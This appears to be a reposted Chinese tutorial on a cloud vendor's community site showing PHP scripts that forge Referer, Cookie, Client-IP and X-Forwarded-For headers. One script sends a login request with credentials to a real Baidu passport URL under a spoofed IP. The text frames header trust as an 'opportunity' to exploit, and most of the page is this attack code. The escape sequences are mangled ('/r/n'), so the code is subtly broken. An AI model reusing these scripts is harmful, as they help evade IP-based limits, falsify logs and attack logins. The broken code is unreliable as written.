強大的PHP偽造IP頭、Cookies、Reference……

來源:互聯網
上載者:User
<?
$fp = fsockopen ("passport.baidu.com", 80,
$errno, $errstr, 30);
if (!$fp) {
echo "$errstr
($errno)<br>/n";
} else {
$msg="GET
/?login&username=lapiaotuan22&password=oyhz123456
HTTP/1.0/r/n";
$msg.="Host:passport.baidu.com /r/n";
$msg.="Referer:
http://passport.baidu.com/ /r/n";

$msg.="Client-IP:
202.101.201.11/r/n";
$msg.="X-Forwarded-For: 202.101.201.11/r/n";
//主要是這裡來構造IP
$msg.="Connection: Close/r/n/r/n";
fputs ($fp,
$msg);
while (!feof($fp)) {
echo fgets ($fp,1024);
}
fclose
($fp);
}
?>

HTTP-REFERER這個變數已經越來越不可靠了,完全就是可以偽造出來的東東。
以下是偽造方法:
PHP(前提是裝了curl):

PHP代碼
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "http://www.dc9.cn/xxx.asp
");

curl_setopt ($ch, CURLOPT_REFERER, "http://www.dc9.cn/
");
curl_exec ($ch);

curl_close ($ch);
PHP(不裝curl用sock)
PHP代碼
$server = 'www.dc9.cn';

$host = 'www.dc9.cn';
$target = '/xxx.asp';
$referer =
'http://www.dc9.cn/'; // Referer
$port = 80;
$fp = fsockopen($server,
$port, $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr
($errno)<br />/n";
}
else
{
$out = "GET $target
HTTP/1.1/r/n";
$out .= "Host: $host/r/n";
$out .= "Cookie:
ASPSESSIONIDSQTBQSDA=DFCAPKLBBFICDAFMHNKIGKEG/r/n";
$out .= "Referer:
$referer/r/n";
$out .= "Connection: Close/r/n/r/n";
fwrite($fp, $out);

while (!feof($fp))
{
echo fgets($fp, 128);
}
fclose($fp);

}

IP也可以偽造

$fp = fsockopen ("192.168.0.128", 80, $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr ($errno)<br>/n";
} else {
$msg="GET /003.php
HTTP/1.0/r/n";
$msg.="Host: 192.168.0.128/r/n";
$msg.="Referer: http://www.baidu.com/r/n
";

$msg.="Client-IP: 1.1.1.1/r/n";
$msg.="X-Forwarded-For: 1.1.1.1/r/n";
//主要是這裡來構造IP
$msg.="Connection: Close/r/n/r/n";
fputs ($fp,
$msg);
while (!feof($fp)) {
echo fgets ($fp,1024);
}
fclose
($fp);
}

記住用fsockopen時,命令最後一定要有/r/n/r/n,不然會逾時。

其實這個可以用$_SERVER['REMOTE_ADDR']來得到正確IP,但是人們為了得到代理訪問IP,而採用的得到IP的方法往往不是$_SERVER['REMOTE_ADDR'],這就為我們提供了機會。

注意以上在現實中用處不是很大,因為這好像對第三方統計沒有用,而現在都是用的第三方統計。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.